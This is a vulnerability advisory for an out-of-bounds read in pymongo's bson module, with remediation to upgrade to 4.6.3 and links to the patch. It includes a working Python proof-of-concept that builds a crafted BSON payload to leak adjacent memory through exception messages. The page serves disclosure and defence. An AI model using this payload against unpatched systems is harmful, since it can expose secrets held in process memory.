SNYK-PYTHON-PYMONGO-7172112
## Overview Affected versions of this package are vulnerable to Out-of-bounds Read in the `bson` module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte. ## PoC ```js import bson import struct def function(length: int) -> bytes: secret = b'X' * length # variable 'secret' is deleted here but it's still stored in memory def generate_payload(length: int) -> bytes: string_size = length - 0x1e return bytes.fromhex( struct.pack('<I', length).hex() + # payload size '0f' + # type "code with scope" '3100' + # key (cstring) '0a000000' + # c_w_s_size '04000000' + # code_size '41004200' + # code (cstring) 'feffffff' + # scope_size '02' + # type "string" '3200' + # key (cstring) struct.pack('<I', string_size).hex() + # string size '00' * string_size # value (cstring) # next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception ) def deserialize_payload(payload: bytes) -> None: try: obj = bson.decode(payload) # throws exception print(obj) # unreachable code except Exception as e: print(e) print('case 1: leak the printable string') # uses secret internally function(0x50 + 0x0F) # payload could be read from stdin or similar payload = generate_payload(0x50) deserialize_payload(payload) print('\n case 2: leak some non-printable bytes') for i in range(5): # payload could be read from stdin or similar payload = generate_payload(0x54f + i) deserialize_payload(payload) ``` ## Remediation Upgrade `pymongo` to version 4.6.3 or higher. ## References - [Github Commit](https://github.com/mongodb/mongo-python-driver/commit/56b6b6dbc267d365d97c037082369dabf37405d2) - [Github Gist](https://gist.github.com/keltecc/62a7c2bf74a997d0a7b48a0ff3853a03) - [MongoDB Issue](https://jira.mongodb.org/browse/PYTHON-4305)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Timeline
- Mar 4, 2024 CVE Updated
- May 31, 2024 CVE Published
References
- https://security.snyk.io/vuln/SNYK-PYTHON-PYMONGO-7172112 advisory
- https://learn.snyk.io/lesson/out-of-bounds-read/ technical
- https://github.com/mongodb/mongo-python-driver/commit/56b6b6dbc267d365d97c037082369dabf37405d2 patch
- https://gist.github.com/keltecc/62a7c2bf74a997d0a7b48a0ff3853a03 technical
- https://jira.mongodb.org/browse/PYTHON-4305 technical